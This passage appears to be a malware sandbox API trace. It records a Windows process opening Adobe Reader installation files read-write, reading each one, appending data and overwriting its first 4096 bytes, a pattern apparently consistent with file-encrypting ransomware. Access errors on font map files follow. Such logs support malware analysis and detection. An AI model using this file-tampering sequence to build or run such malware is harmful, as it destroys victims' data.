hFile=0x198, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0xa07, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa07, lpOverlapped=0x0) returned 1 [0044.423] CloseHandle (hObject=0x198) returned 1 [0044.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x55 [0044.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.424] ReleaseMutex (hMutex=0x128) returned 1 [0044.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tl.gif", lpUsedDefaultChar=0x0) returned 6 [0044.424] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3ff0, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3ff0*, lpNumberOfBytesRead=0x2e0f2bc*=0x55, lpOverlapped=0x0) returned 1 [0044.425] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.425] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0044.425] CloseHandle (hObject=0x198) returned 1 [0044.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3f71 [0044.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.426] ReleaseMutex (hMutex=0x128) returned 1 [0044.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCS.htm", lpUsedDefaultChar=0x0) returned 12 [0044.426] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.814] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2f71 [0044.814] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2f71 [0044.835] WriteFile (in: hFile=0x198, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.836] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.836] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.836] CloseHandle (hObject=0x198) returned 1 [0044.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.837] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.838] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x43b7 [0044.838] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.838] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.838] ReleaseMutex (hMutex=0x128) returned 1 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeSKY.htm", lpUsedDefaultChar=0x0) returned 13 [0044.838] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.847] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x33b7 [0044.848] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.861] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x33b7 [0044.861] WriteFile (in: hFile=0x198, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.861] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.861] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.861] CloseHandle (hObject=0x198) returned 1 [0044.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", lpFilePart=0x2e0f690*="83pv-RKSJ-H") returned 0x42 [0044.862] GetLastError () returned 0x5 [0044.862] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.862] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.862] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.862] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.862] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.862] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.862] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h")) returned 0x20 [0044.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V", lpFilePart=0x2e0f690*="Add-RKSJ-V") returned 0x41 [0044.863] GetLastError () returned 0x5 [0044.863] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.863] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.863] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.863] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.863] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.863] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.863] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v")) returned 0x20 [0044.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host", lpFilePart=0x2e0f690*="Adobe-CNS1-H-Host") returned 0x48 [0044.863] GetLastError () returned 0x5 [0044.863] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.864] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.864] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.864] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.864] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.864] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.864] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host")) returned 0x20 [0044.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", lpFilePart=0x2e0f690*="Adobe-GB1-GBpc-EUC") returned 0x49 [0044.864] GetLastError () returned 0x5 [0044.864] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.864] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.864] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.864] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.865] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.865] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.865] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc")) returned 0x20 [0044.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5", lpFilePart=0x2e0f690*="Adobe-Japan1-5") returned 0x45 [0044.865] GetLastError () returned 0x5 [0044.865] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.865] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.865] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.865] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.865] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.866] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.866] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5")) returned 0x20 [0044.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2", lpFilePart=0x2e0f690*="Adobe-Korea1-2") returned 0x45 [0044.866] GetLastError () returned 0x5 [0044.866] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.866] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.866] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.866] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.866] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.867] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2")) returned 0x20 [0044.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V", lpFilePart=0x2e0f690*="B5pc-V") returned 0x3d [0044.867] GetLastError () returned 0x5 [0044.867] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.867] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.867] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.867] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.867] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.867] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v")) returned 0x20 [0044.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H", lpFilePart=0x2e0f690*="EUC-H") returned 0x3c [0044.868] GetLastError () returned 0x5 [0044.868] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.868] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.868] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.868] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.868] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.868] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.868] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h")) returned 0x20 [0044.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V", lpFilePart=0x2e0f690*="GBK2K-V") returned 0x3e [0044.869] GetLastError () returned 0x5 [0044.869] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.869] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.869] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.869] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.869] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.869] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.869] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v")) returned 0x20 [0044.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 